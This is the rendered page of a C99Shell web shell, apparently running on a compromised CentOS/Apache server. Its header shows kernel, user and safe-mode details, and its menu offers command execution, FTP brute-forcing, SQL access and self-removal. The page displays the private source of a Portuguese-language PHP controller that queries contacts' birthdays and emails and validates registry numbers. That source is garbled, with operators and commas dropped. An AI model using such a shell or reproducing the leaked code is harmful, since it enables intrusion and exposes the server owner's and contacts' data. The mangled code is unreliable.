!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/controller/   drwxr-xr-x
Free 9.16 GB of 93.48 GB (9.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ServicoCtrl.php (3.84 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once(APP_PATH."/system/ServiceDB.php");
require_once(
APP_PATH."/controller/CertidaoCtrl.php");

class 
ServicoCtrl {
    
    var 
$db;
    

    
/**
     * Construtor principal
     * Inicia a classe principal de controle informando o Modelo Atual
     */
    
public function __construct() {
        
$this->db = new ServiceDB();
        
$this->db->connect();
        
    }
    
    
    
    
/**
     * Retorna a ista de aniversariantes do dia
     * @return Array
     */
   
public function getAniversariantesDia() {
       
$dia date("d/m");
       
$array = array();
       
$sql $this->db -> query("SELECT CON_Nascimento as nascimento, CON_Descricao as nome, CON_Email as email "
               
.                 "FROM contatos WHERE MONTH(CON_Nascimento) = '".date("m")."' AND DAY(CON_Nascimento) = '".date("d")."' "
               
.                 "AND CON_Perfil_DR <> 1 ORDER BY CON_Descricao");
       while(
$row $this->db -> fetch($sql)){
           
$array[] = $row;
       }
       return 
$array;
    }
    
    
    
    
/**
     * Retorna a ista de aniversariantes do mês
     * @return Array
     */
   
public function getAniversariantesMes() {
       
$mes date("m");
       
$array = array();
       
$sql $this->db -> query("SELECT DAY(CON_Nascimento) as dia, CON_Descricao as nome, CON_Email as email FROM contatos WHERE MONTH(CON_Nascimento) = '".$mes."' AND CON_Perfil_DR <> 1 ORDER BY DAY(CON_Nascimento), CON_Descricao");
       while(
$row $this->db -> fetch($sql)){
           
$array[] = $row;
       }
       return 
$array;
    }
    
    
    
    
/**
     * Valida o número da matrícula
     * @param type $matricula
     */
    
public function validaMatricula($matricula){ 
        
$certidaoCtrl = new CertidaoCtrl();
        
$serventia intval(substr($matricula,0,6));
        
$acv substr($matricula,6,2);
        
$servico substr($matricula,8,2);
        
$dgVerificador substr($matricula,30,2);
        
$ano substr($matricula,10,4);
        
$folha substr($matricula203);
        switch(
$acv) {
            case 
'01':
                
$acervo "Acervo Próprio"; break;
            case 
'02':
                
$acervo "Acervo Incorporado"; break;
        }
        
$calcDigito $certidaoCtrl->calculoDigito(substr($matricula,0,30));
        
        
//echo $calcDigito;
        
        //echo $serventia;
        
        
if($calcDigito != $dgVerificador || $calcDigito == -1) {
            
$status false;
        } else {
            
$status true;      
        }
        
$array = array();
        
$sql $this->db -> query("SELECT ODC_Oficio_DR, ODC_CodigoCNJ, OFI_Descricao, OFI_Cidades_DR as 'Codigo', CID_Descricao as 'Cidade'
                                   FROM oficios_dados_cnj
                                   INNER JOIN oficios ON OFI_RowID = ODC_Oficio_DR
                                   INNER JOIN cidades ON CID_RowID = OFI_Cidades_DR
                                   WHERE ODC_CodigoCNJ = "
.$serventia);
        
$row $this->db -> fetch($sql);
        
$array['oficio'] = utf8_encode($row['OFI_Descricao']);
        
$array['cidade'] = utf8_encode($row['Cidade']);
        
$array['ano'] = $ano;
        
$array['livroTipo'] = utf8_encode($certidaoCtrl->getLivro(substr($matricula,14,1), intval(substr($matricula,15,5))));
        
$array['acervo'] = utf8_encode($acervo);
        
$array['matricula'] = substr($matricula06) . $acv $servico ' ' $ano ' ' substr($matricula141) . ' ' substr($matricula155) . ' ' $folha ' ' substr($matricula237) . ' ' $dgVerificador;
        
$array['tipo'] = utf8_encode($certidaoCtrl->getTipo(substr($matricula141)));        
        
$array['folha'] = substr($matricula203);
        
$array['termo'] = intval(substr($matricula,23,7));
        
$array['status'] = $status;
        return 
$array;
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0035 ]--